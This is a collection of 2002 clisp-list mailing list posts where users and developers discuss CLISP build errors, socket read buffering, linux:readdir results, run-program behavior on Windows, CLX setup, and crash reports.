> -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -DSAFETY=3 -c spvw.c
> In file included from lispbibl.d:1751,
>                  from spvw.d:22:
> unix.d:874: conflicting types for `iconv'
> /usr/include/iconv.h:45: previous declaration of `iconv'
> In file included from spvw.d:22:
> lispbibl.d:6933: warning: volatile register variables don't work as you
> might wish
> spvw.d: In function `main':
> spvw.d:1709: warning: variable `argv_memneed' might be clobbered by
> `longjmp' or `vfork'
> make: *** [spvw.o] Error 1
> 
> Any ideas?  Need more info?  Please let me know,
> 
> 	-ryan
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Todd Sabin wrote:
>Anyway, food for thought.  With these changes, my web proxy gets the
>same throughput for large downloads as I get with the C proxy I have
>been using, ~190K/s.  I.e. the limiting factor is my bandwidth.  When
>I have to use unbuffered sockets, the best it could do was ~30K/s.

Do you think READ/WRITE-SOME (see below) would be enough for your task?

  > > it's totally impossible to read a client's requests unless they =
happen
  > > to terminate on 4K boundaries (or the client closes his end of =
the
  > > socket with shutdown(2) before receiving a reply).
>   The other
>piece needed for this is to change full_read in unixaux.d to return
>less than 4096 bytes of data if possible.  (Other _read functions
>would need to be similarly modified.)  With those changes buffered
>sockets are quite usable, though the hang problem still exists.

full_read() ought to maintain the invariant that its name claims.

In my ancient CLISP-TODO file I have a notice about implementing =
something I choose to name READ-SOME[-BYTES/SEQUENCE] and its WRITE- =
equivalent. I think I never did it, or possibly only experimentally for =
Amiga-CLISP and not in mainstream.

Rationale: to put the programmer at equal with the C/python/perl etc. =
guys who can read or write *as much as is currently available* using =
read(), or write as much as fits in one go. This gives buffered-style =
performance-enhanced i/o for interactive streams (sockets and =
non-file-i/o are to be supported) at a very low implementation cost for =
CLISP.

Adding this may be an easy fix to a couple of problems whose "better" =
100% solution is seemingly not agreed upon or completely thought out =
yet(?).


I just discovered while reading about simple streams that Allegro has:

REAd-SEQUENCE sequence stream &key start end PARTIAL-FILL
>Note that Allegro CL uses the additional partial-fill
>keyword argument, which is not specified in ANSI CL.=20
http://www.franz.com/support/documentation/6.1/doc/streams.htm

So maybe an extra name like READ-SOME is unneeded and READ-SEQUENCE =
could be enhanced instead with :PARTIAL-FILL, introducing portability =
with AllegroCL.

Writing: the number of characters written must be returned. They define =
GET-SOME-RAW-DATA in their base64 example though. Simple-streams =
documents WRITE-VECTOR, which has interesting behaviour I never thought =
about (blocking for first character, non-blocking afterwards), whereas =
my thoughts went along their WRITE-BYTES (device level, pass through to =
write()).
http://www.franz.com/support/documentation/6.1/doc/pages/operators/excl/=
write-vector.htm
So maybe CLISP may as well introduce another name.

I didn't think about interaction of this partial stuff with =
variable-size stream-element types (idea predates their =
implementation).


Sam>BTW, what is this 4096 world constant?

IIRC Bruno and I introduced the 4KB buffering size many years ago, =
after some benchmarking of mine showing that 4KB was an excellent =
compromise. Larger buffers did not noticably speed up execution, =
smaller ones (like 512 bytes) were noticably slower.

Regards,
	J=F6rg H=F6hle.


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Hello, 

I was just wondering why linux:readdir is always 
returning "0" as d_type, no matter if the file 
is a directory or regular file, such as : 

----------------------------------------------------
> (setf dir (linux:opendir "/etc"))
#<FOREIGN-ADDRESS #x08286758>
> (setf file (linux:readdir  dir))
#S(LINUX:dirent :|d_ino| 129793 :|d_off| 12
:|d_reclen| 16 :|d_type| 0
   :|d_name| ".")
> (slot-value file 'linux::|d_type|)
0
> (setf file (linux:readdir  dir))
#S(LINUX:dirent :|d_ino| 130395 :|d_off| 52
:|d_reclen| 24 :|d_type| 0
   :|d_name| "passwd")
> (slot-value file 'linux::|d_type|)
0
>
---------------------------------------------------

I was expecting values matching linux::S_IFDIR, etc.
Am I missing something ? What is it ?


regards,

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On Thu, 14 Feb 2002, Klaus Momberger wrote:

> Date: Thu, 14 Feb 2002 12:54:49 -0800 (PST)
> From: Klaus Momberger <klaus_momberger@yahoo.com>
> To: clisp-list@lists.sourceforge.net
> Subject: [clisp-list] linux:readdir always returns d_type=0 ?
> 
> Hello, 
> 
> I was just wondering why linux:readdir is always 
> returning "0" as d_type, no matter if the file 
> is a directory or regular file, such as : 

Hi Klaus,

The distinction between a file and directory is not recorded in a
directory entry. A directory is just a list of filenames.
Or, more precisely, it's an association list of filenames and
their corresponding inode numbers.

To get information about an object, you must use the stat() or lstat()
function.

I don't know what the d_type field is; it might have a meaning on some
file systems that store type information in the directory entry.

> I was expecting values matching linux::S_IFDIR, etc.
> Am I missing something ? What is it ?

Those would be applicable to the |st_mode| field of the structure returned
by linux:stat.

CLISP provides Lisp functions for predicate testing, linux:S_ISDIR,
and so on.

;; silly example
(defun exists-and-is-a-directory (path)
  (multiple-value-bind (result stat-struct) 
		       (linux:stat path)
    (when (/= result -1)
      (linux:S_ISDIR (slot-value stat-struct 'linux::|st_mode|)))))

This is ugly stuff: wrap, wrap, wrap. :)



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> * In message <20020214205449.90806.qmail@web14601.mail.yahoo.com>
> * On the subject of "[clisp-list] linux:readdir always returns d_type=0 ?"
> * Sent on Thu, 14 Feb 2002 12:54:49 -0800 (PST)
> * Honorable Klaus Momberger <klaus_momberger@yahoo.com> writes:
>
> I was just wondering why linux:readdir is always 
> returning "0" as d_type, no matter if the file 
> is a directory or regular file, such as : 
> 
> ----------------------------------------------------
> > (setf dir (linux:opendir "/etc"))
> #<FOREIGN-ADDRESS #x08286758>
> > (setf file (linux:readdir  dir))
> #S(LINUX:dirent :|d_ino| 129793 :|d_off| 12
> :|d_reclen| 16 :|d_type| 0
>    :|d_name| ".")
> > (slot-value file 'linux::|d_type|)
> 0
> > (setf file (linux:readdir  dir))
> #S(LINUX:dirent :|d_ino| 130395 :|d_off| 52
> :|d_reclen| 24 :|d_type| 0
>    :|d_name| "passwd")
> > (slot-value file 'linux::|d_type|)
> 0

I do not observe this:

[1]> (setf dir (linux:opendir "/etc"))
#<FOREIGN-ADDRESS #x0826DC20>
[3]> (setf file (linux:readdir  dir))
#S(LINUX:dirent :|d_ino| 242881 :|d_off| 12 :|d_reclen| 16 :|d_type| 4
   :|d_name| ".")
[4]> (setf file (linux:readdir  dir))
#S(LINUX:dirent :|d_ino| 2 :|d_off| 24 :|d_reclen| 16 :|d_type| 4
   :|d_name| "..")
[5]> (setf file (linux:readdir  dir))
#S(LINUX:dirent :|d_ino| 259073 :|d_off| 44 :|d_reclen| 24 :|d_type| 4
   :|d_name| "sysconfig")
[6]> (setf file (linux:readdir  dir))
#S(LINUX:dirent :|d_ino| 291457 :|d_off| 56 :|d_reclen| 16 :|d_type| 4
   :|d_name| "X11")
[7]> (setf file (linux:readdir  dir))
#S(LINUX:dirent :|d_ino| 245042 :|d_off| 72 :|d_reclen| 24 :|d_type| 8
   :|d_name| "fstab")
[8]> (setf file (linux:readdir  dir))
#S(LINUX:dirent :|d_ino| 245046 :|d_off| 84 :|d_reclen| 16 :|d_type| 8
   :|d_name| "mtab")
[9]> (setf file (linux:readdir  dir))
#S(LINUX:dirent :|d_ino| 242884 :|d_off| 104 :|d_reclen| 24 :|d_type| 8
   :|d_name| "modules.conf")
[10]> (setf file (linux:readdir  dir))
#S(LINUX:dirent :|d_ino| 243046 :|d_off| 128 :|d_reclen| 24 :|d_type| 8
   :|d_name| "mime.types")
[11]> (setf file (linux:readdir  dir))
#S(LINUX:dirent :|d_ino| 243045 :|d_off| 144 :|d_reclen| 24 :|d_type| 8
   :|d_name| "mailcap")
[12]> (setf file (linux:readdir  dir))
#S(LINUX:dirent :|d_ino| 243048 :|d_off| 164 :|d_reclen| 24 :|d_type| 8
   :|d_name| "bashrc")
[13]> (setf file (linux:readdir  dir))
#S(LINUX:dirent :|d_ino| 243047 :|d_off| 176 :|d_reclen| 16 :|d_type| 10
   :|d_name| "rmt")

   
this is with the current development CVS.

   
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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
> Todd Sabin wrote:
> >Anyway, food for thought.  With these changes, my web proxy gets the
> >same throughput for large downloads as I get with the C proxy I have
> >been using, ~190K/s.  I.e. the limiting factor is my bandwidth.  When
> >I have to use unbuffered sockets, the best it could do was ~30K/s.
> 
> Do you think READ/WRITE-SOME (see below) would be enough for your task?

Probably, though what I've already done is necessary for providing
that, I think.

>   > > it's totally impossible to read a client's requests unless they happen
>   > > to terminate on 4K boundaries (or the client closes his end of the
>   > > socket with shutdown(2) before receiving a reply).
> >   The other
> >piece needed for this is to change full_read in unixaux.d to return
> >less than 4096 bytes of data if possible.  (Other _read functions
> >would need to be similarly modified.)  With those changes buffered
> >sockets are quite usable, though the hang problem still exists.
> 
> full_read() ought to maintain the invariant that its name claims.

If we're going to make it possible to read something other than a full
4K block, then we have to have a function to do it.  We could make a
partial_read, but it would just duplicate 99% of full_read, so it
doesn't seem worth it.  I guess we could change the name of full_read
to full_or_partial_read or read_some or something else..

> In my ancient CLISP-TODO file I have a notice about implementing
> something I choose to name READ-SOME[-BYTES/SEQUENCE] and its WRITE-
> equivalent. I think I never did it, or possibly only experimentally
> for Amiga-CLISP and not in mainstream.
> 
> Rationale: to put the programmer at equal with the C/python/perl
> etc. guys who can read or write *as much as is currently available*
> using read(), or write as much as fits in one go. This gives
> buffered-style performance-enhanced i/o for interactive streams
> (sockets and non-file-i/o are to be supported) at a very low
> implementation cost for CLISP.
> 
> Adding this may be an easy fix to a couple of problems whose
> "better" 100% solution is seemingly not agreed upon or completely
> thought out yet(?).

I was thinking that adding read-sequence and write-sequence ala
Allegro would be nice, too.  But the patch I sent is a necessary first
step, AFAICT.  And it doesn't (or shouldn't) change the semantics of
any user visible behavior, aside from making some calls return sooner
than they otherwise would have.


Todd


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On 14 Feb 2002, Sam Steingold wrote:

> > I was just wondering why linux:readdir is always 
> > returning "0" as d_type, no matter if the file 
> > is a directory or regular file, such as : 
> > 
> 
> I do not observe this:
> 
> [1]> (setf dir (linux:opendir "/etc"))
> #<FOREIGN-ADDRESS #x0826DC20>
> [3]> (setf file (linux:readdir  dir))
> #S(LINUX:dirent :|d_ino| 242881 :|d_off| 12 :|d_reclen| 16 :|d_type| 4
>    :|d_name| ".")
> [4]> (setf file (linux:readdir  dir))
> #S(LINUX:dirent :|d_ino| 2 :|d_off| 24 :|d_reclen| 16 :|d_type| 4
>    :|d_name| "..")

Interesting. What kind of filesystem is your /etc on?



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Hi

The following works on gcl-2.5.0, Lispworks-4.1 (personal), and
Allegro 6.1 (trial), but fails in clisp.

#<output buffered file-stream character #P"probe-file.txt" @1>
[2]> (probe-file #"/home/prw/.inputrc")

*** - no file name given: #P"/home/prw/.inputrc"
1. Break [3]> :a

[4]> (probe-file "/home/prw/.inputrc")

*** - no file name given: #P"/home/prw/.inputrc"
1. Break [5]> :a

[6]> (probe-file "/home/prw/.pinputrc")

*** - no file name given: #P"/home/prw/.pinputrc"
1. Break [7]> :a

[8]> (dribble)
-rw-r--r--   1 prw      nofiles      2462 Jul 30  2001 /home/prw/.inputrc
GNU CLISP 2.27 (released 2001-07-17) (built 3205317348) (memory 3205318651)
Linux localhost.localdomain 2.4.5 #1 Fri Jun 22 23:12:44 CEST 2001 i586 unknown

[6] should return nil, and [2] and [4] should return the name of the
file.

Regards,
Peter


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Apologies if this is a naive question but I'm a relatively new user of
clisp.  I'm trying to use clx with clisp 2.27 for linux.  The most recent
version of clx for clisp I can find must be quite old as it has the .lsp
files.  I've modified the files to use the .lisp suffix but still get many
errors concerning the lack of an XLIB package when I run make.  I assume 
that this is a result of changes to clisp since the version of clx I have 
was released.

Can anyone give me some advice as to what I should be doing to get clisp
running with clx?

Many thanks in advance,

David

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Hello David,

Sunday, February 17, 2002, 4:31:30 AM, you wrote:

David> Can anyone give me some advice as to what I should be doing to get clisp
David> running with clx?

I didn't tried clx, but there are two versions of clx in CLisp, old
lisp version and new C version, which, I think, usable as a module
which you should setup at a configure (or makemake ?) stage of build.

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On Sat, 16 Feb 2002 18:31:30 +0000 (GMT), David Peebles wrote:

> clisp.  I'm trying to use clx with clisp 2.27 for linux.  The most recent
> version of clx for clisp I can find must be quite old as it has the .lsp
> files.  I've modified the files to use the .lisp suffix but still get many
> errors concerning the lack of an XLIB package when I run make.  I assume 

The standard CLISP distribution comes with two CLX implementations that
should be built from source without errors on supported platforms. Where
have you got the CLX distribution you refer to? On what system are you
trying to compile it? The official CLISP site is:

  http://clisp.sourceforge.net


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> * In message <Pine.LNX.4.33.0202142144220.6095-100000@ashi.FootPrints.net>
> * On the subject of "Re: [clisp-list] linux:readdir always returns d_type=0 ?"
> * Sent on Thu, 14 Feb 2002 21:46:02 -0800 (PST)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> On 14 Feb 2002, Sam Steingold wrote:
> 
> > > I was just wondering why linux:readdir is always 
> > > returning "0" as d_type, no matter if the file 
> > > is a directory or regular file, such as : 
> > 
> > [1]> (setf dir (linux:opendir "/etc"))
> > #<FOREIGN-ADDRESS #x0826DC20>
> > [3]> (setf file (linux:readdir  dir))
> > #S(LINUX:dirent :|d_ino| 242881 :|d_off| 12 :|d_reclen| 16 :|d_type| 4
> >    :|d_name| ".")
> > [4]> (setf file (linux:readdir  dir))
> > #S(LINUX:dirent :|d_ino| 2 :|d_off| 24 :|d_reclen| 16 :|d_type| 4
> >    :|d_name| "..")
> 
> Interesting. What kind of filesystem is your /etc on?

ext3
why?

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> * In message <20020215191211.A225@localhost.localdomain>
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> [2]> (probe-file #"/home/prw/.inputrc")
> 
> *** - no file name given: #P"/home/prw/.inputrc"

this is a feature, not a bug.
<http://clisp.cons.org/impnotes.html#d39e11164>

#".foo"
==>
#S(PATHNAME :HOST NIL :DEVICE NIL :DIRECTORY (:RELATIVE) :NAME NIL :TYPE "foo"
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I'm trying to adapt a CLISP program I normally run under UNIX to run under
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the run-program command) to an output file for later use by my program.  

I think I should be using "execute" for the DOS version, but I don't know
how to pipe the results that are written to the screen to an output file.   

Thanks,

Tara

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> * In message <32786300104BD311AC7E00508B6707D0D1A3DC@nel-exchange.ad.lifesciences.rutgers.edu>
> * On the subject of "[clisp-list] Q: "execute" and piping in DOS"
> * Sent on Mon, 18 Feb 2002 17:01:25 -0500
> * Honorable Matise@nel-exchange.Rutgers.Edu writes:
>
> I'm trying to adapt a CLISP program I normally run under UNIX to run
> under DOS.  The UNIX version uses "run-program" to call numerous
> external programs or shell commands, and the results of these program
> calls are piped (with the run-program command) to an output file for
> later use by my program.

plain dos is not supported anymore.
win32 and OS/2 supports the same API - `run-program' - as UNIX.
see <http://clisp.cons.org/impnotes.html#shell> for details.

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I am preparing a set of instructions for setting up a Lisp development environment on Windows with configuration information for clisp/ilisp, acl/eli, corman/eshell & lw/ilisp for the Common Lisp Cookbook. One thing that I encountered when setting up clisp on Windows is that the standard clisp distribution for Windows doesn't contain the emacs directory. This means that (in order for a Windows user to get the clisp-indent.el program), it is necessary to either download the clisp source distribution or get the clisp-indent.el program from CVS. For the time being, I have included instructions detailing how to get the clisp-indent.el program from CVS; however, it would probably be a good idea to include the emacs directory in the standard clisp Windows distribution as well.

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> * In message <3C7137F7.F75E9BA8@rtc.bosch.com>
> * On the subject of "[clisp-list] socket sample code for clisp"
> * Sent on Mon, 18 Feb 2002 11:20:55 -0600
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> I am wondering if anyone has a sample CLISP code that does the job, or
> can give me any suggestion in getting this problem solved.

docs: <http://clisp.cons.org/impnotes.html#socket>
code: CLOCC/CLLIB/url.lisp <http://www.podval.org/~sds/data/cllib.html>
      and CLOCC/PORT/net.lisp <http://www.podval.org/~sds/data/port.html>
      and CLISP/src/inspect.lisp

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> * In message <li5i4a.oj1.ln@rabbit.ddts.net>
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> I've been a vi/Vim user since I discovered Unix, and I figured I could
> skip Emacs if I could figure out how to get Vim to talk to Lisp.

I suggest that you look at CLISP (http://clisp.cons.org) and make it
pluggable into VIM the same way Python and Perl are pluggable there.
CLISP is small, fast and portable and it can make a great VIM
extension.  CLISP FFI is powerful enough to plug it into VIM.

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I'm trying to use the run-program command to simply run the "dir" command to
list the directory, but I must be doing something wrong:

5. Break [6]> (run-program "dir")

[%s:10790]
*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file
specified.

Outside of the CLISP environment, the "dir" command runs just fine.

Any  suggestions?  This machine is running Windows2000.

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<P><FONT COLOR=3D"#0000FF" FACE=3D"Arial">I'm trying to use the =
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> * In message <32786300104BD311AC7E00508B6707D0D1A407@nel-exchange.ad.lifesciences.rutgers.edu>
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> I'm trying to use the run-program command to simply run the "dir" command to
> list the directory, but I must be doing something wrong:
> 
> 5. Break [6]> (run-program "dir")
> 
> [%s:10790]
> *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file
> specified.

"dir" is a shell built-in.
try
(shell "dir")
or
(run-program "dir" :indirect t)
or
(run-program "cmd /c dir")

(untested, but I hope other win32 users will comment)

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Hello, Sam,

Wednesday, February 20, 2002, 4:04:22 PM, you wrote:

>> I'm trying to use the run-program command to simply run the "dir" command to
>> list the directory, but I must be doing something wrong:
>> 
>> 5. Break [6]> (run-program "dir")
>> 
>> [%s:10790]
>> *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file
>> specified.

Sam> "dir" is a shell built-in.
Sam> try
Sam> (shell "dir")
doesn't work in NT
Sam> or
Sam> (run-program "dir" :indirect t)
indirectp - works, but undocumented
Sam> or
Sam> (run-program "cmd /c dir")
doesn't work

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Bill Clementson schrieb:

> I am preparing a set of instructions for setting up a Lisp development
> environment on Windows with configuration information for clisp/ilisp,
> acl/eli, corman/eshell & lw/ilisp for the Common Lisp Cookbook. One
> thing that I encountered when setting up clisp on Windows is that the
> standard clisp distribution for Windows doesn't contain the emacs
> directory. This means that (in order for a Windows user to get the
> clisp-indent.el program), it is necessary to either download the clisp
> source distribution or get the clisp-indent.el program from CVS. For
> the time being, I have included instructions detailing how to get the
> clisp-indent.el program from CVS; however, it would probably be a good
> idea to include the emacs directory in the standard clisp Windows
> distribution as well.

This will enlarge the download time. A seperate link to emacs a
distribution is a better solution, so you can download the newest
version. I have clisp on windows here, but I do not want emacs.

stefan




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Hi Arseny
(thanks for the thread patch - it's in)

> * In message <1391126429.20020220170340@ich.dvo.ru>
> * On the subject of "Re[2]: [clisp-list] Q: problem with run-program in Win32"
> * Sent on Wed, 20 Feb 2002 17:03:40 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> Wednesday, February 20, 2002, 4:04:22 PM, you wrote:
> 
> >> I'm trying to use the run-program command to simply run the "dir" command to
> >> list the directory, but I must be doing something wrong:
> >> 
> >> 5. Break [6]> (run-program "dir")
> >> 
> >> [%s:10790]
> >> *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file
> >> specified.

this is an FAQ, but we do not have an FAQ list.
any volunteers?

> Sam> "dir" is a shell built-in.
> Sam> try
> Sam> (shell "dir")
> doesn't work in NT
what's the error message?
SHELL should work on NT.
what about (shell "/c dir")?

> Sam> or
> Sam> (run-program "dir" :indirect t)
> indirectp - works, but undocumented
it will be in a couple of minutes...

> Sam> or
> Sam> (run-program "cmd /c dir")
> doesn't work

yes, of course!  it should have been
(run-shell-command "cmd /c dir") or
(run-program "cmd" :arguments '("/c" "dir"))

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lin8080 <lin8080@freenet.de> writes:

> This will enlarge the download time. A seperate link to emacs a
> distribution is a better solution, so you can download the newest
> version. I have clisp on windows here, but I do not want emacs.

Nobody wanted to include Emacs with CLISP. Bill was talking about four
very small files, see

  <http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/clisp/clisp/emacs/>

You wouldn't notice a difference even with a slow modem.

Edi.

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Thanks - that is helpful for the built-in shell commands, but I also need to
run some compiled C code, and for that I get the same file_not_found error,
even though I am starting LISP from the same directory as where the compiled
C code is located, and the C code does run fine on its own outside of CLISP:


[6]>(run-program "lispcri.exe")

[%s:10790]
*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file
specified.

Thanks again,

Tara

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> * In message <m3u1sct0j1.fsf@dyn138.dbdmedia.de>
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> > This will enlarge the download time. A seperate link to emacs a
> > distribution is a better solution, so you can download the newest
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>
> Nobody wanted to include Emacs with CLISP.

actually.... :-)

> Bill was talking about four very small files, see
>   <http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/clisp/clisp/emacs/>

the _three_ files will be included with the next release.
(d-mode.el is for developers only - we do not ship any *.d files with
the binaries anyway).

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> * In message <32786300104BD311AC7E00508B6707D0D1A41C@nel-exchange.ad.lifesciences.rutgers.edu>
> * On the subject of "[clisp-list] Q: problem with run-program in Win32"
> * Sent on Wed, 20 Feb 2002 14:49:17 -0500
> * Honorable Matise@nel-exchange.Rutgers.Edu writes:
>
> Thanks - that is helpful for the built-in shell commands, but I also need to
> run some compiled C code, and for that I get the same file_not_found error,
> even though I am starting LISP from the same directory as where the compiled
> C code is located, and the C code does run fine on its own outside of CLISP:
> 
> [6]>(run-program "lispcri.exe")
> 
> [%s:10790]
> *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file
> specified.

WFM on Linux.  please be more adventurous. :-)
try supplying full path (remember to use the right slashes).
try SHELL, RUN-SHELL-COMMAND, EXECUTE ...

any other woe32 users here who can help Tara?

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> > [6]>(run-program "lispcri.exe")
> > 
> > [%s:10790]
> > *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system 
> cannot find the file
> > specified.
> 
> WFM on Linux. please be more adventurous. :-)
> try supplying full path (remember to use the right slashes).
> try SHELL, RUN-SHELL-COMMAND, EXECUTE ...
> 
> any other woe32 users here who can help Tara?

On my Windows/2000 PC, (run-program "emacs") starts up emacs.exe. Of course, emacs.exe is in the path. Works ok for an exe in the cwd that is not in the path as well. Are you doing anything with the current working directory in clisp before you attempt to run lispcri.exe?

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Sam Steingold schrieb:
> 
> > * In message <32786300104BD311AC7E00508B6707D0D1A407@nel-exchange.ad.lifesciences.rutgers.edu>
> > * On the subject of "[clisp-list] Q: problem with run-program in Win32"
> > * Sent on Tue, 19 Feb 2002 23:05:33 -0500
> > * Honorable Matise@nel-exchange.Rutgers.Edu writes:
> >
> > I'm trying to use the run-program command to simply run the "dir" command to
> > list the directory, but I must be doing something wrong:

> try
> (shell "dir")
> or
> (run-program "dir" :indirect t)
> or
> (run-program "cmd /c dir")

[1]>  (shell "dir")

[pathname.d:11395]
*** - Win32 error 2 (ERROR_FILE_NIT_FOUND): The system cannot find the
file spec
ified.
1. Break [2]> 

abort

[3]> (run-program "cmd /c dir")

 - same error as first.

[5]> (run-program "dir" :indirect t)

*** -  EVAL/APPLY: keyword :INDIRECT is illegal for #<COMPILED-CLOSURE
RUN-PROGRA
M>.  The possible keywords are (:ARGUMENTS :INPUT :OUTPUT
:IF-OUTPUT-EXISTS :INDI
RECTP)   

1.Break [6]> abort

[7]> (run-program "dir" :indirect t)

Datenträger in Laufwerk C: NEZPEC
Seriennummer des Datenträgers: xxxx-xxxx
Verzeichnis C:\CLISP

.             <DIR>         12-12-01  9:29a .
..            <DIR>         12-12-01  9:29a ..
CLIISP    BAT          135  09-14-01  4:24a CLISP.BAT
EDITOR    EXE       48,640  08-18-00  6:22a EDITOR.EXE
LISP      EXE    1,912,832  05-25-00 12:49p CLISP.EXE
LISPINIT  MEM      885,972  01-02-02 11:07p LISPINIT.MEM
SRC           <DIR>         12-31-01  5:57p SRC
          4 Datei(en)           2,847,579 Bytes
          3 Verzeichnis(se)   142,053,376 Bytes frei 
T

[8]> _

stefan




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Hallo again

I forgot the p. Line [7] should look like:

[7]> (run-program "dir" :indirectp t)

but testing the following:

[7]> (run-program "editor.exe" :indirectp t)

This programm must be run under Microsoft Windows.
T

no error. and testing:

[8]> (execute "editor.exe")

opens the Editor.exe in a new window. wow.

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Hello

1. I have compiled lisp v.2.27 on XP Professional using VC++ 6.0 and I'm
getting unhandled exception message
============================================================================
============
[14]> *** - handle_fault error2 ! address = 0x1E492000 not in
[0x1E2C0000,0x1E44C074)
!SIGSEGV cannot be cured. Fault address = 0x1E492000.
============================================================================
============

I have re-compiled lisp using the debug single threaded library and I
received the following stack unwind report:

============================================================================
============
string_eqcomp_ci(void * 0x1e491ff9, unsigned long 0, void * 0x1e35436d,
unsigned long 0, unsigned long 2) line 2992 + 3 bytes
read_form() line 149 + 18 bytes
C_read_eval_print() line 267
funcall_subr(void * 0x006c05aa, unsigned long 2) line 5541
funcall(void * 0x006c6ded, unsigned long 2) line 5143 + 11 bytes
interpret_bytecode_(void * 0x1e357741, sbvector_ * 0x1e35770c, const
unsigned char * 0x1e357734) line 7206 + 123 bytes
funcall_closure(void * 0x1e357741, unsigned long 0) line 5981 + 20 bytes
funcall(void * 0x1e357741, unsigned long 0) line 5138 + 11 bytes
C_driver() line 2134 + 15 bytes
interpret_bytecode_(void * 0x1e35776d, sbvector_ * 0x1e3576c4, const
unsigned char * 0x1e3576dc) line 7212 + 71 bytes
funcall_closure(void * 0x1e35776d, unsigned long 0) line 5981 + 20 bytes
funcall(void * 0x1e35776d, unsigned long 0) line 5138 + 11 bytes
interpret_bytecode_(void * 0x1e3e2a51, sbvector_ * 0x1e2f63f8, const
unsigned char * 0x1e2f643a) line 7262 + 29 bytes
funcall_closure(void * 0x1e3e2a51, unsigned long 0) line 5981 + 20 bytes
funcall(void * 0x1e3e2a51, unsigned long 0) line 5138 + 11 bytes
driver() line 337 + 10 bytes
main(int 7, char * * 0x05a712f0) line 2855
mainCRTStartup() line 206 + 25 bytes
KERNEL32! 77e7eb69()
============================================================================
============

The actual offending line is:

if (!chareq(up_case(as_chart(*charptr1++)),up_case(*charptr2++)))

where debugger shows that the unallocated value is *charptr1++.

Would you have any advice on this?

The second problem I have is the stack size allocation. Although I have
changed the executable to use 80MB of stack it appears that the system runs
out of stack space with the working set about 38MB. Is there build in
limitation on the size of accessible stack?

Regards
Maciej Skieski
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BTW, there's some unrelated bug showing, and some lack of =
documentation:

lin8080 [Stefan] reports:
> [1]>  (shell "dir")
> [pathname.d:11395]
> *** - Win32 error 2 (ERROR_FILE_NIT_FOUND): The system cannot find =
the
                                  ^^^ is that really copy&paste??
> file specified.
> 1. Break [2]>=20

Tara C. Matise reports:
> [6]>(run-program "lispcri.exe")=20
> [%s:10790]=20
> *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find =
the file specified.=20

Why does one see [%s: 10790] and somebody else [pathname.d:11395]?
I also see [%s:nnn] on my system, cf. Bugtracker
http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D514741&grou=
p_id=3D1355&atid=3D101355


> [7]> (run-program "dir" :indirect t)

Good to know that shell internal programs can be run as well.
Where is the CLISP FAQ? :-)


> [5]> (run-program "dir" :indirect t)
>=20
> *** -  EVAL/APPLY: keyword :INDIRECT is illegal for =
#<COMPILED-CLOSURE
> RUN-PROGRAM.  The possible keywords are (:ARGUMENTS :INPUT :OUTPUT
> :IF-OUTPUT-EXISTS :INDIRECTP)  =20

:INDIRECTP (WINDOWS only) is not documented in =
http://clisp.cons.org/impnotes.html
Neither are :WAIT or :MAY-EXEC (the latter is UNIX only)
BTW, does :WAIT really work on MS-Windows?? The code appends a " &" =
after the command, something I only know from UNIX shells. Is there a =
few #+UNIX missing in runprog.lisp?

What does indirectp mean to the user?
cmd.exe /? says:
/C      F=FChrt den Befehl in der Zeichenfolge aus und endet dann.
~ "Execute command in string and end." What's indirect about that?
It seems to be the equivalent of UNIX /bin/[[t]c]sh -c
Shouldn't that be the default for something called "run-SHELL-command"?

> [8]> (execute "editor.exe")
> opens the Editor.exe in a new window. wow.
But isn't CLISP stopped until this program terminates?

(ext:run-program "notepad.exe" :wait nil)
Notepad says: "The file "&.txt" could not be found. Create a new =
document?
And the CLISP prompt only returns when I close notepad.


I'm using the CLISP-2.27-win32 binary distribution on a MS-W*2k system.

Regards,
	J=F6rg H=F6hle.


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Date: Thu Feb 21 08:41:02 2002
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hei,

I have some troubles getting REINITIALIZE-INSTANCE to work in
CLISP.  The following test-case:

(in-package :cl-user)

(defclass component ()
  ((name :type string :accessor component-name :initarg :name)
   (version :accessor component-version :initarg :version)
   (in-order-to :initform nil :initarg :in-order-to)
   (inline-methods :accessor component-inline-methods :initform nil)
   (relative-pathname :initarg :pathname)))

(defun upd-inst (obj &rest args)
  (apply #'reinitialize-instance obj args))

;;(trace reinitialize-instance)

(let ((foo (make-instance 'component :name "gib")))
  (warn "Going 1")
  (upd-inst foo :name "gah1")
  (warn "Going 2")
  (upd-inst foo :name "gah2")
  (warn "Going 3")
  (upd-inst foo :name "gah3")
  )


Gives me: 

$ clisp -q -ansi reinit.lisp

WARNING:
Going 1
WARNING:
Going 2
WARNING:
Going 3
*** - handle_fault error2 ! address = 0x4556454F not in 
[0x202A6000,0x2036220C) !
SIGSEGV cannot be cured. Fault address = 0x4556454F.
Segmentation fault (core dumped)


This is quite problematic, and it's not a good thing that clisp 
crashes and dumps core.  Anyone? 

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> * In message <NEBBLIGAGHHJGACLCHICCEGNCGAA.mskierski@ecandv.com.au>
> * On the subject of "[clisp-list] clisp 2.27 Unhandled exception. Stack limitations"
> * Sent on Thu, 21 Feb 2002 17:02:01 +1100
> * Honorable "Maciej Skierski" <mskierski@ecandv.com.au> writes:
>
> 1. I have compiled lisp v.2.27 on XP Professional using VC++ 6.0 and I'm
> getting unhandled exception message

I think this was fixed in the development sources on 2001-09-10.
Could you please check out the latest from the CVS and try it?

Thanks a lot for such a thorough bug report!
(the only thing missing is the instructions on how to reproduce the
crash :-)

> string_eqcomp_ci(void * 0x1e491ff9, unsigned long 0, void * 0x1e35436d,
> unsigned long 0, unsigned long 2) line 2992 + 3 bytes
> read_form() line 149 + 18 bytes

> The second problem I have is the stack size allocation. Although I
> have changed the executable to use 80MB of stack it appears that the
> system runs out of stack space with the working set about 38MB. Is
> there build in limitation on the size of accessible stack?

I don't think so.  Bruno?


